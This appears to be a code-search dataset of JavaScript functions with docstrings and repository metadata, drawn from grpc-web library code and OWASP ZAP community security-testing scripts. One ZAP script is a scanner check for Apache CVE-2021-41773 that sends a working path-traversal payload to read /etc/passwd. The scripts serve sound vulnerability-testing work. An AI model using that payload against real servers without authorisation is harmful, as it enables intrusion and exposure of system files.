@override @return {!CallOptions|undefined}
getCallOptions ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/requestinternal.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/requestinternal.js
Apache-2.0
constructor(options) { /** * @const {!Object<string, !Object>} * @private */ this.properties_ = options || {}; }
@param {!Object<string, !Object>=} options
constructor ( options )
javascript
grpc/grpc-web
javascript/net/grpc/web/calloptions.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/calloptions.js
Apache-2.0
setOption(name, value) { this.properties_[name] = value; }
Add a new CallOption or override an existing one. @param {string} name name of the CallOption that should be added/overridden. @param {VALUE} value value of the CallOption @template VALUE
setOption ( name , value )
javascript
grpc/grpc-web
javascript/net/grpc/web/calloptions.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/calloptions.js
Apache-2.0
get(name) { return this.properties_[name]; }
Get the value of one CallOption. @param {string} name name of the CallOption. @return {!Object} value of the CallOption. If name doesn't exist, will return 'undefined'.
get ( name )
javascript
grpc/grpc-web
javascript/net/grpc/web/calloptions.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/calloptions.js
Apache-2.0
removeOption(name) { delete this.properties_[name]; }
Remove a CallOption. @param {string} name name of the CallOption that shoud be removed.
removeOption ( name )
javascript
grpc/grpc-web
javascript/net/grpc/web/calloptions.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/calloptions.js
Apache-2.0
function createMethodDescriptor(responseDeSerializeFn) { return new MethodDescriptor( /* name= */ '', /* methodType= */ null, MockRequest, MockReply, (request) => [1, 2, 3], responseDeSerializeFn); }
@param {function(string): !AllowedResponseType} responseDeSerializeFn @return {!MethodDescriptor<!MockRequest, !AllowedResponseType>}
createMethodDescriptor ( responseDeSerializeFn )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase_test.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase_test.js
Apache-2.0
intercept(request, invoker) { return new InterceptedStream(invoker(request)); }
@override @template REQUEST, RESPONSE @param {!Request<REQUEST, RESPONSE>} request @param {function(!Request<REQUEST,RESPONSE>): !ClientReadableStream<RESPONSE>} invoker @return {!ClientReadableStream<RESPONSE>}
intercept ( request , invoker )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase_test.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase_test.js
Apache-2.0
cancel() { this.stream.cancel(); return this; }
@override @return {!ClientReadableStream<RESPONSE>}
cancel ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase_test.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase_test.js
Apache-2.0
removeListener(eventType, callback) { this.stream.removeListener(eventType, callback); return this; }
@override @param {string} eventType @param {function(?)} callback @return {!ClientReadableStream<RESPONSE>}
removeListener ( eventType , callback )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase_test.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase_test.js
Apache-2.0
rpcCall(method, requestMessage, metadata, methodDescriptor, callback) {}
@abstract @template REQUEST, RESPONSE @param {string} method The method to invoke @param {REQUEST} requestMessage The request proto @param {!Object<string, string>} metadata User defined call metadata @param {!MethodDescriptor<REQUEST, RESPONSE>} methodDescriptor Information of this RPC method @param {function(?RpcError, ?)} callback A callback function which takes (error, RESPONSE or null) @return {!ClientReadableStream<RESPONSE>}
rpcCall ( method , requestMessage , metadata , methodDescriptor , callback )
javascript
grpc/grpc-web
javascript/net/grpc/web/abstractclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/abstractclientbase.js
Apache-2.0
thenableCall(method, requestMessage, metadata, methodDescriptor) {}
@abstract @protected @template REQUEST, RESPONSE @param {string} method The method to invoke @param {REQUEST} requestMessage The request proto @param {!Object<string, string>} metadata User defined call metadata @param {!MethodDescriptor<REQUEST, RESPONSE>} methodDescriptor Information of this RPC method @return {!IThenable<RESPONSE>} A promise that resolves to the response message
thenableCall ( method , requestMessage , metadata , methodDescriptor )
javascript
grpc/grpc-web
javascript/net/grpc/web/abstractclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/abstractclientbase.js
Apache-2.0
serverStreaming(method, requestMessage, metadata, methodDescriptor) {}
@abstract @template REQUEST, RESPONSE @param {string} method The method to invoke @param {REQUEST} requestMessage The request proto @param {!Object<string, string>} metadata User defined call metadata @param {!MethodDescriptor<REQUEST, RESPONSE>} methodDescriptor Information of this RPC method @return {!ClientReadableStream<RESPONSE>} The Client Readable Stream
serverStreaming ( method , requestMessage , metadata , methodDescriptor )
javascript
grpc/grpc-web
javascript/net/grpc/web/abstractclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/abstractclientbase.js
Apache-2.0
static getHostname(method, methodDescriptor) { // method = hostname + methodDescriptor.name(relative path of this method) return method.substr(0, method.length - methodDescriptor.name.length); }
Get the hostname of the current request. @static @template REQUEST, RESPONSE @param {string} method @param {!MethodDescriptor<REQUEST,RESPONSE>} methodDescriptor @return {string}
getHostname ( method , methodDescriptor )
javascript
grpc/grpc-web
javascript/net/grpc/web/abstractclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/abstractclientbase.js
Apache-2.0
function processFrameByte(b) { if (b == FrameType.DATA) { parser.frame_ = b; } else if (b == FrameType.TRAILER) { parser.frame_ = b; } else { parser.error_(inputBytes, pos, 'invalid frame byte'); } parser.state_ = Parser.State_.LENGTH; parser.length_ = 0; parser.countLengthBytes_ = 0; }
@param {number} b A frame byte to process
processFrameByte ( b )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebstreamparser.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebstreamparser.js
Apache-2.0
function processLengthByte(b) { parser.countLengthBytes_++; parser.length_ = (parser.length_ << 8) + b; if (parser.countLengthBytes_ == 4) { // no more length byte parser.state_ = Parser.State_.MESSAGE; parser.countMessageBytes_ = 0; if (typeof Uint8Array !== 'undefined') { parser.messageBuffer_ = new Uint8Array(parser.length_); } else { parser.messageBuffer_ = new Array(parser.length_); } if (parser.length_ == 0) { // empty message finishMessage(); } } }
@param {number} b A length byte to process
processLengthByte ( b )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebstreamparser.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebstreamparser.js
Apache-2.0
function processMessageByte(b) { parser.messageBuffer_[parser.countMessageBytes_++] = b; if (parser.countMessageBytes_ == parser.length_) { finishMessage(); } }
@param {number} b A message byte to process
processMessageByte ( b )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebstreamparser.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebstreamparser.js
Apache-2.0
function finishMessage() { var message = {}; message[parser.frame_] = parser.messageBuffer_; parser.result_.push(message); parser.state_ = Parser.State_.INIT; }
Finishes up building the current message and resets parser state
finishMessage ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebstreamparser.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebstreamparser.js
Apache-2.0
parse(input) { asserts.assert( input instanceof Array || input instanceof ArrayBuffer || input instanceof Uint8Array); var parser = this; var inputBytes; var pos = 0; if (input instanceof Uint8Array || input instanceof Array) { inputBytes = input; } else { inputBytes = new Uint8Array(input); } while (pos < inputBytes.length) { switch (parser.state_) { case Parser.State_.INVALID: { parser.error_(inputBytes, pos, 'stream already broken'); break; } case Parser.State_.INIT: { processFrameByte(inputBytes[pos]); break; } case Parser.State_.LENGTH: { processLengthByte(inputBytes[pos]); break; } case Parser.State_.MESSAGE: { processMessageByte(inputBytes[pos]); break; } default: { throw new Error('unexpected parser state: ' + parser.state_); } } parser.streamPos_++; pos++; } var msgs = parser.result_; parser.result_ = []; return msgs.length > 0 ? msgs : null; /** * @param {number} b A frame byte to process */ function processFrameByte(b) { if (b == FrameType.DATA) { parser.frame_ = b; } else if (b == FrameType.TRAILER) { parser.frame_ = b; } else { parser.error_(inputBytes, pos, 'invalid frame byte'); } parser.state_ = Parser.State_.LENGTH; parser.length_ = 0; parser.countLengthBytes_ = 0; } /** * @param {number} b A length byte to process */ function processLengthByte(b) { parser.countLengthBytes_++; parser.length_ = (parser.length_ << 8) + b; if (parser.countLengthBytes_ == 4) { // no more length byte parser.state_ = Parser.State_.MESSAGE; parser.countMessageBytes_ = 0; if (typeof Uint8Array !== 'undefined') { parser.messageBuffer_ = new Uint8Array(parser.length_); } else { parser.messageBuffer_ = new Array(parser.length_); } if (parser.length_ == 0) { // empty message finishMessage(); } } } /** * @param {number} b A message byte to process */ function processMessageByte(b) { parser.messageBuffer_[parser.countMessageBytes_++] = b; if (parser.countMessageBytes_ == parser.length_) { finishMessage(); } } /** * Finishes up building the current message and resets parser state */ function finishMessage() { var message = {}; message[parser.frame_] = parser.messageBuffer_; parser.result_.push(message); parser.state_ = Parser.State_.INIT; } }
Parse the new input. Note that there is no Parser state to indicate the end of a stream. @param {string|!ArrayBuffer|!Uint8Array|!Array<number>} input The input data @throws {!Error} Throws an error message if the input is invalid. @return {?Array<string|!Object>} any parsed objects (atomic messages) in an array, or null if more data needs be read to parse any new object. @override
parse ( input )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebstreamparser.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebstreamparser.js
Apache-2.0
Parser.prototype.error_ = function(inputBytes, pos, errorMsg) { this.state_ = Parser.State_.INVALID; this.errorMessage_ = 'The stream is broken @' + this.streamPos_ + '/' + pos + '. ' + 'Error: ' + errorMsg + '. ' + 'With input:\n' + inputBytes; throw new Error(this.errorMessage_); };
@param {!Uint8Array|!Array<number>} inputBytes The current input buffer @param {number} pos The position in the current input that triggers the error @param {string} errorMsg Additional error message @throws {!Error} Throws an error indicating where the stream is broken @private
Parser.prototype.error_ ( inputBytes , pos , errorMsg )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebstreamparser.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebstreamparser.js
Apache-2.0
StatusCode.fromHttpStatus = function(httpStatus) { switch (httpStatus) { case 200: return StatusCode.OK; case 400: return StatusCode.INVALID_ARGUMENT; case 401: return StatusCode.UNAUTHENTICATED; case 403: return StatusCode.PERMISSION_DENIED; case 404: return StatusCode.NOT_FOUND; case 409: return StatusCode.ABORTED; case 412: return StatusCode.FAILED_PRECONDITION; case 429: return StatusCode.RESOURCE_EXHAUSTED; case 499: return StatusCode.CANCELLED; case 500: return StatusCode.UNKNOWN; case 501: return StatusCode.UNIMPLEMENTED; case 503: return StatusCode.UNAVAILABLE; case 504: return StatusCode.DEADLINE_EXCEEDED; /* everything else is unknown */ default: return StatusCode.UNKNOWN; } };
Convert HTTP Status code to gRPC Status code @param {number} httpStatus HTTP Status Code @return {!StatusCode} gRPC Status Code
StatusCode.fromHttpStatus ( httpStatus )
javascript
grpc/grpc-web
javascript/net/grpc/web/statuscode.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/statuscode.js
Apache-2.0
StatusCode.getHttpStatus = function(statusCode) { switch (statusCode) { case StatusCode.OK: return 200; case StatusCode.INVALID_ARGUMENT: return 400; case StatusCode.UNAUTHENTICATED: return 401; case StatusCode.PERMISSION_DENIED: return 403; case StatusCode.NOT_FOUND: return 404; case StatusCode.ABORTED: return 409; case StatusCode.FAILED_PRECONDITION: return 412; case StatusCode.RESOURCE_EXHAUSTED: return 429; case StatusCode.CANCELLED: return 499; case StatusCode.UNKNOWN: return 500; case StatusCode.UNIMPLEMENTED: return 501; case StatusCode.UNAVAILABLE: return 503; case StatusCode.DEADLINE_EXCEEDED: return 504; /* everything else is unknown */ default: return 0; } };
Convert a {@link StatusCode} to an HTTP Status code @param {!StatusCode} statusCode GRPC Status Code @return {number} HTTP Status code
StatusCode.getHttpStatus ( statusCode )
javascript
grpc/grpc-web
javascript/net/grpc/web/statuscode.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/statuscode.js
Apache-2.0
StatusCode.statusCodeName = function(statusCode) { switch (statusCode) { // LINT.IfChange(status_code_name) case StatusCode.OK: return 'OK'; case StatusCode.CANCELLED: return 'CANCELLED'; case StatusCode.UNKNOWN: return 'UNKNOWN'; case StatusCode.INVALID_ARGUMENT: return 'INVALID_ARGUMENT'; case StatusCode.DEADLINE_EXCEEDED: return 'DEADLINE_EXCEEDED'; case StatusCode.NOT_FOUND: return 'NOT_FOUND'; case StatusCode.ALREADY_EXISTS: return 'ALREADY_EXISTS'; case StatusCode.PERMISSION_DENIED: return 'PERMISSION_DENIED'; case StatusCode.UNAUTHENTICATED: return 'UNAUTHENTICATED'; case StatusCode.RESOURCE_EXHAUSTED: return 'RESOURCE_EXHAUSTED'; case StatusCode.FAILED_PRECONDITION: return 'FAILED_PRECONDITION'; case StatusCode.ABORTED: return 'ABORTED'; case StatusCode.OUT_OF_RANGE: return 'OUT_OF_RANGE'; case StatusCode.UNIMPLEMENTED: return 'UNIMPLEMENTED'; case StatusCode.INTERNAL: return 'INTERNAL'; case StatusCode.UNAVAILABLE: return 'UNAVAILABLE'; case StatusCode.DATA_LOSS: return 'DATA_LOSS'; default: return ''; // LINT.ThenChange(:status_codes) } };
Returns the human readable name for a {@link StatusCode}. Useful for logging. @param {!StatusCode} statusCode GRPC Status Code @return {string} the human readable name for the status code
StatusCode.statusCodeName ( statusCode )
javascript
grpc/grpc-web
javascript/net/grpc/web/statuscode.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/statuscode.js
Apache-2.0
const MethodDescriptorInterface = function() {};
@interface @template REQUEST, RESPONSE
MethodDescriptorInterface ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/methoddescriptorinterface.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/methoddescriptorinterface.js
Apache-2.0
MethodDescriptorInterface.prototype.createRequest = function( requestMessage, metadata, callOptions) {};
@param {REQUEST} requestMessage @param {!Metadata=} metadata @param {!CallOptions=} callOptions @return {!Request<REQUEST, RESPONSE>}
MethodDescriptorInterface.prototype.createRequest ( requestMessage , metadata , callOptions )
javascript
grpc/grpc-web
javascript/net/grpc/web/methoddescriptorinterface.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/methoddescriptorinterface.js
Apache-2.0
MethodDescriptorInterface.prototype.createUnaryResponse = function( responseMessage, metadata, status) {};
@param {RESPONSE} responseMessage @param {!Metadata=} metadata @param {?Status=} status @return {!UnaryResponse<REQUEST, RESPONSE>}
MethodDescriptorInterface.prototype.createUnaryResponse ( responseMessage , metadata , status )
javascript
grpc/grpc-web
javascript/net/grpc/web/methoddescriptorinterface.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/methoddescriptorinterface.js
Apache-2.0
constructor(responseMessage, methodDescriptor, metadata = {}, status = null) { /** * @const {RESPONSE} * @private */ this.responseMessage_ = responseMessage; /** * @const {!Metadata} * @private */ this.metadata_ = metadata; /** * @const {!MethodDescriptor<REQUEST, RESPONSE>} * @private */ this.methodDescriptor_ = methodDescriptor; /** * @const {?Status} * @private */ this.status_ = status; }
@param {RESPONSE} responseMessage @param {!MethodDescriptor<REQUEST, RESPONSE>} methodDescriptor @param {!Metadata=} metadata @param {?Status=} status
constructor ( responseMessage , methodDescriptor , metadata = { } , status = null )
javascript
grpc/grpc-web
javascript/net/grpc/web/unaryresponseinternal.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/unaryresponseinternal.js
Apache-2.0
module.ClientReadableStream = function() {};
List of functions we want to preserve when running the closure compiler with --compilation_level=ADVANCED_OPTIMIZATIONS.
module.ClientReadableStream ( )
javascript
grpc/grpc-web
packages/grpc-web/externs.js
https://github.com/grpc/grpc-web/blob/master/packages/grpc-web/externs.js
Apache-2.0
var runRoutine = function(done) { browser.navigate() .to(TEST_SERVER + '/' + testPath) .then(function() { waitForTest(function(status) { expect(status).toBeSuccess(); done(); }, function(err) { done.fail(err); }); }, function(err) { done.fail(err); }); };
Runs the test routines for a given test path. @param {function()} done The function to run on completion.
runRoutine ( done )
javascript
grpc/grpc-web
packages/grpc-web/protractor_spec.js
https://github.com/grpc/grpc-web/blob/master/packages/grpc-web/protractor_spec.js
Apache-2.0
var executeTest = function(testPath) { it('runs ' + testPath + ' with success', function(done) { /** * Runs the test routines for a given test path. * @param {function()} done The function to run on completion. */ var runRoutine = function(done) { browser.navigate() .to(TEST_SERVER + '/' + testPath) .then(function() { waitForTest(function(status) { expect(status).toBeSuccess(); done(); }, function(err) { done.fail(err); }); }, function(err) { done.fail(err); }); }; // Run the test routine. runRoutine(done); }); };
Executes the test cases for the file at the given testPath. @param {!string} testPath The path of the current test suite to execute.
executeTest ( testPath )
javascript
grpc/grpc-web
packages/grpc-web/protractor_spec.js
https://github.com/grpc/grpc-web/blob/master/packages/grpc-web/protractor_spec.js
Apache-2.0
function proxyRequest(msg) { print( "proxyRequest called for url=" + msg.getRequestHeader().getURI().toString() ); // Remove the '(?i)' for a case exact match var req_str_to_change = "(?i)change from this"; var req_str_to_replace = "changed to this"; msg.setRequestBody( msg .getRequestBody() .toString() .replaceAll(req_str_to_change, req_str_to_replace) ); // Update the content length in the header as this may have been changed msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); return true; }
This function allows interaction with proxy requests (i.e.: outbound from the browser/client to the server). @param msg - the HTTP request being proxied. This is an HttpMessage object.
proxyRequest ( msg )
javascript
zaproxy/community-scripts
proxy/Replace in request or response body.js
https://github.com/zaproxy/community-scripts/blob/master/proxy/Replace in request or response body.js
Apache-2.0
function proxyResponse(msg) { print( "proxyResponse called for url=" + msg.getRequestHeader().getURI().toString() ); // Remove the '(?i)' for a case exact match var req_str_to_change = "(?i)change from this"; var req_str_to_replace = "changed to this"; msg.setResponseBody( msg .getResponseBody() .toString() .replaceAll(req_str_to_change, req_str_to_replace) ); // Update the content length in the header as this may have been changed msg.getResponseHeader().setContentLength(msg.getResponseBody().length()); return true; }
This function allows interaction with proxy responses (i.e.: inbound from the server to the browser/client). @param msg - the HTTP response being proxied. This is an HttpMessage object.
proxyResponse ( msg )
javascript
zaproxy/community-scripts
proxy/Replace in request or response body.js
https://github.com/zaproxy/community-scripts/blob/master/proxy/Replace in request or response body.js
Apache-2.0
function process(payload) { var hex = ""; var i; for (i = 0; i < payload.length; i++) { hex += payload.charCodeAt(i).toString(16); } return hex; }
Converts a string payload to hex. Created to add functionality found in Burp to solve Natas19 https://www.youtube.com/watch?v=z3RtpWZ_R3Q EN10
process ( payload )
javascript
zaproxy/community-scripts
payloadprocessor/to-hex.js
https://github.com/zaproxy/community-scripts/blob/master/payloadprocessor/to-hex.js
Apache-2.0
function doRequest(msg, helper, follow_redirects, retries, note) { var requestHeader = msg.getRequestHeader(); var httpSender = helper.getHttpSender(); msg.setNote(note); try { httpSender.sendAndReceive(msg, follow_redirects); } catch (e) { log("{ method: doRequest { " + requestHeader.getPrimeHeader() + " }", true); log("{ method: doRequest { exception: " + e + " }", true); return null; } return msg; }
@param msg will be modified (not cloned).
doRequest ( msg , helper , follow_redirects , retries , note )
javascript
zaproxy/community-scripts
httpsender/full-session-n-csrf-nashorn.js
https://github.com/zaproxy/community-scripts/blob/master/httpsender/full-session-n-csrf-nashorn.js
Apache-2.0
function buildRequestCSRF(msg, session) { var cookie = new HttpCookie(SESSION_COOKIE_NAME, session); var cookies = [cookie]; var message = buildNewMessage( HTTP_VERSION, null, CSRF_GET, false, HttpRequestHeader.GET, "", DATA_CHARSET, false, null, cookies ); return message; }
@param msg: final (won't be modified)
buildRequestCSRF ( msg , session )
javascript
zaproxy/community-scripts
httpsender/full-session-n-csrf-nashorn.js
https://github.com/zaproxy/community-scripts/blob/master/httpsender/full-session-n-csrf-nashorn.js
Apache-2.0
function scan(helper, msg, src) { if (msg.getRequestHeader().getURI().getEscapedQuery() != null) { helper .newAlert() .setName("Non Static Site Detected (query present)") .setDescription( "A query string has been detected in the HTTP response body. This indicates that this may not be a static site." ) .setEvidence(msg.getRequestHeader().getURI().getEscapedQuery()) .setMessage(msg) .raise(); } if (src != null && !src.getFormFields().isEmpty()) { // There are form fields helper .newAlert() .setName("Non Static Site Detected (form present)") .setDescription( "One or more forms have been detected in the response. This indicates that this may not be a static site." ) .setEvidence(src.getFormFields().toString()) .setMessage(msg) .raise(); } }
Passively scans an HTTP message. The scan function will be called for request/response made via ZAP, actual messages depend on the function "appliesToHistoryType", defined below. @param helper - the PassiveScan parent object that will do all the core interface tasks (i.e.: providing access to Threshold settings, raising alerts, etc.). This is an ScriptsPassiveScanner object. @param msg - the HTTP Message being scanned. This is an HttpMessage object. @param src - the Jericho Source representation of the message being scanned.
scan ( helper , msg , src )
javascript
zaproxy/community-scripts
passive/Report non static sites.js
https://github.com/zaproxy/community-scripts/blob/master/passive/Report non static sites.js
Apache-2.0
function appliesToHistoryType(historyType) { // For example, to just scan spider messages: // return historyType == org.parosproxy.paros.model.HistoryReference.TYPE_SPIDER; // Default behaviour scans default types. return org.zaproxy.zap.extension.pscan.PluginPassiveScanner.getDefaultHistoryTypes().contains( historyType ); }
Tells whether or not the scanner applies to the given history type. @param {Number} historyType - The ID of the history type of the message to be scanned. @return {boolean} Whether or not the message with the given type should be scanned by this scanner.
appliesToHistoryType ( historyType )
javascript
zaproxy/community-scripts
passive/Report non static sites.js
https://github.com/zaproxy/community-scripts/blob/master/passive/Report non static sites.js
Apache-2.0
function process(helper, value) { var parts = value.split("."); if (parts.length == 2 || parts.length == 3) { try { var result = formatJson(b64decode(parts[0])) + "\n" + formatJson(b64decode(parts[1])); if (parts.length == 3 && parts[2] != "") { result += "\n{SIGNATURE}"; } return helper.newResult(result); } catch (err) { return helper.newError("Invalid JWT: Unable to decode"); } } return helper.newError("Invalid JWT"); }
Decode JWT into a text representation @param {EncodeDecodeScriptHelper} helper - A helper object with various utility methods. For more details see https://github.com/zaproxy/zap-extensions/tree/main/addOns/encoder/src/main/java/org/zaproxy/addon/encoder/processors/script/EncodeDecodeScriptHelper.java @param {String} value - JWT to decode @returns {EncodeDecodeResult} - Decoded JWT (JSON)
process ( helper , value )
javascript
zaproxy/community-scripts
encode-decode/JwtDecode.js
https://github.com/zaproxy/community-scripts/blob/master/encode-decode/JwtDecode.js
Apache-2.0
function authenticate(helper, paramsValues, credentials) { print("Authenticating via Ory Kratos..."); // Step 1: Initialize the login flow const kratosBaseUri = paramsValues.get("Kratos Base URL"); const initLoginUri = new URI( kratosBaseUri + "/self-service/login/browser", true ); const initLoginMsg = helper.prepareMessage(); initLoginMsg.setRequestHeader( new HttpRequestHeader( HttpRequestHeader.GET, initLoginUri, HttpHeader.HTTP11 ) ); print("Sending GET request to " + initLoginUri); helper.sendAndReceive(initLoginMsg, true); print( "Received response status code: " + initLoginMsg.getResponseHeader().getStatusCode() ); AuthenticationHelper.addAuthMessageToHistory(initLoginMsg); // Step 2: Submit login credentials const actionUrl = getActionurl(initLoginMsg); const loginUri = new URI(actionUrl, false); const loginMsg = helper.prepareMessage(); const csrf_token = getCsrfToken(initLoginMsg); const requestBody = "identifier=" + encodeURIComponent(credentials.getParam("username")) + "&password=" + encodeURIComponent(credentials.getParam("password")) + "&method=password" + "&csrf_token=" + encodeURIComponent(csrf_token); loginMsg.setRequestBody(requestBody); const requestHeader = new HttpRequestHeader( HttpRequestHeader.POST, loginUri, HttpHeader.HTTP11 ); loginMsg.setRequestHeader(requestHeader); loginMsg .getRequestHeader() .setHeader(HttpHeader.CONTENT_TYPE, "application/x-www-form-urlencoded"); loginMsg .getRequestHeader() .setContentLength(loginMsg.getRequestBody().length()); print("Sending POST request to " + loginUri); //! disable redirect to get the cookies from Kratos helper.sendAndReceive(loginMsg, false); print( "Received response status code: " + loginMsg.getResponseHeader().getStatusCode() ); AuthenticationHelper.addAuthMessageToHistory(loginMsg); return loginMsg; }
@param {AuthHelper} helper - The authentication helper object provided by ZAP. @param {ParamsValues} paramsValues - The map of parameter values configured in the Session Properties - Authentication panel. @param {Credentials} credentials - an object containing the credentials values, as configured in the Session Properties - Users panel. @returns {Object} The HTTP message used to perform the authentication.
authenticate ( helper , paramsValues , credentials )
javascript
zaproxy/community-scripts
authentication/KratosBrowserAuthentication.js
https://github.com/zaproxy/community-scripts/blob/master/authentication/KratosBrowserAuthentication.js
Apache-2.0
function getRequiredParamsNames() { return ["Kratos Base URL"]; }
Returns the required parameter names. @returns {Array<string>} An array of required parameter names.
getRequiredParamsNames ( )
javascript
zaproxy/community-scripts
authentication/KratosBrowserAuthentication.js
https://github.com/zaproxy/community-scripts/blob/master/authentication/KratosBrowserAuthentication.js
Apache-2.0
function getOptionalParamsNames() { return []; }
Returns the optional parameter names. @returns {Array<string>} An array of optional parameter names.
getOptionalParamsNames ( )
javascript
zaproxy/community-scripts
authentication/KratosBrowserAuthentication.js
https://github.com/zaproxy/community-scripts/blob/master/authentication/KratosBrowserAuthentication.js
Apache-2.0
function getCredentialsParamsNames() { return ["username", "password"]; }
Returns the credentials parameter names. @returns {Array<string>} An array of credentials parameter names.
getCredentialsParamsNames ( )
javascript
zaproxy/community-scripts
authentication/KratosBrowserAuthentication.js
https://github.com/zaproxy/community-scripts/blob/master/authentication/KratosBrowserAuthentication.js
Apache-2.0
function scanNode(as, msg) { // Do nothing here - this script just attacks parameters rather than nodes }
Scans a "node", i.e. an individual entry in the Sites Tree. The scanNode function will typically be called once for every page. @param as - the ActiveScan parent object that will do all the core interface tasks (i.e.: sending and receiving messages, providing access to Strength and Threshold settings, raising alerts, etc.). This is an ScriptsActiveScanner object. @param msg - the HTTP Message being scanned. This is an HttpMessage object.
scanNode ( as , msg )
javascript
zaproxy/community-scripts
active/User defined attacks.js
https://github.com/zaproxy/community-scripts/blob/master/active/User defined attacks.js
Apache-2.0
function scan(as, msg, param, value) { // Debugging can be done using print like this //print('scan called for url=' + msg.getRequestHeader().getURI().toString() + // ' param=' + param + ' value=' + value); var max_attacks = attacks.length; // No limit for the "INSANE" level ;) if (as.getAttackStrength() == "LOW") { max_attacks = 6; } else if (as.getAttackStrength() == "MEDIUM") { max_attacks = 12; } else if (as.getAttackStrength() == "HIGH") { max_attacks = 24; } for (var i in attacks) { // Dont exceed recommended number of attacks for strength // feel free to disable this locally ;) if (i > max_attacks) { return; } // Copy requests before reusing them msg = msg.cloneRequest(); // setParam (message, parameterName, newValue) as.setParam(msg, param, attacks[i]); // sendAndReceive(msg, followRedirect, handleAntiCSRFtoken) as.sendAndReceive(msg, false, false); // Add any generic checks here, eg var code = msg.getResponseHeader().getStatusCode(); if (code >= 500 && code < 600) { raiseAlert(as, msg, param, attacks[i], code); // Only raise one alert per param return; } var body = msg.getResponseBody().toString(); var re = new RegExp(evidence.join("|"), "i"); var found = body.match(re); if (found) { // Change to a test which detects the vulnerability raiseAlert(as, msg, param, attacks[i], found); // Only raise one alert per param return; } // Check if the scan was stopped before performing lengthy tasks if (as.isStop()) { return; } } }
Scans a specific parameter in an HTTP message. The scan function will typically be called for every parameter in every URL and Form for every page. @param as - the ActiveScan parent object that will do all the core interface tasks (i.e.: sending and receiving messages, providing access to Strength and Threshold settings, raising alerts, etc.). This is an ScriptsActiveScanner object. @param msg - the HTTP Message being scanned. This is an HttpMessage object. @param {string} param - the name of the parameter being manipulated for this test/scan. @param {string} value - the original parameter value.
scan ( as , msg , param , value )
javascript
zaproxy/community-scripts
active/User defined attacks.js
https://github.com/zaproxy/community-scripts/blob/master/active/User defined attacks.js
Apache-2.0
function invokeWith(msg) { var url = msg.getRequestHeader().getURI().toString(); var alertName = "Apache Path Traversal - CVE-2021-41773"; var alertDesc = "[CVE-2021-41773]\nA flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. " + "An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside " + 'of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could ' + "leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only " + "affects Apache 2.4.49 and not earlier versions."; var alertSol = "Upgrade to Apache 2.4.50 or newer."; var alertReference = "https://httpd.apache.org/security/vulnerabilities_24.html\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-41773"; var cweId = 22; // Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') var wascId = 33; // Path Traversal var attackPath = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"; // To check if script is running logger("Testing Script against URL - " + url); msg.getRequestHeader().getURI().setEscapedPath(attackPath); var sender = new HttpSender(HttpSender.MANUAL_REQUEST_INITIATOR); sender.sendAndReceive(msg); var status = msg.getResponseHeader().getStatusCode(); var rebody = msg.getResponseBody().toString(); var re = /root\:x\:0\:0\:root/g; // Checks to make sure that the response indicates the test was successful if (status === 200 && re.test(rebody)) { re.lastIndex = 0; var alertEvidence = re.exec(rebody); customAlert( 3, // risk: 0: info, 1: low, 2: medium, 3: high 3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed alertName, alertDesc, attackPath, alertEvidence, alertSol, alertReference, cweId, wascId, msg, url ); } logger("Script run completed."); }
A function which will be invoked against a specific "targeted" message. @param msg - the HTTP message being acted upon. This is an HttpMessage object.
invokeWith ( msg )
javascript
zaproxy/community-scripts
targeted/cve-2021-41773-apache-path-trav.js
https://github.com/zaproxy/community-scripts/blob/master/targeted/cve-2021-41773-apache-path-trav.js
Apache-2.0
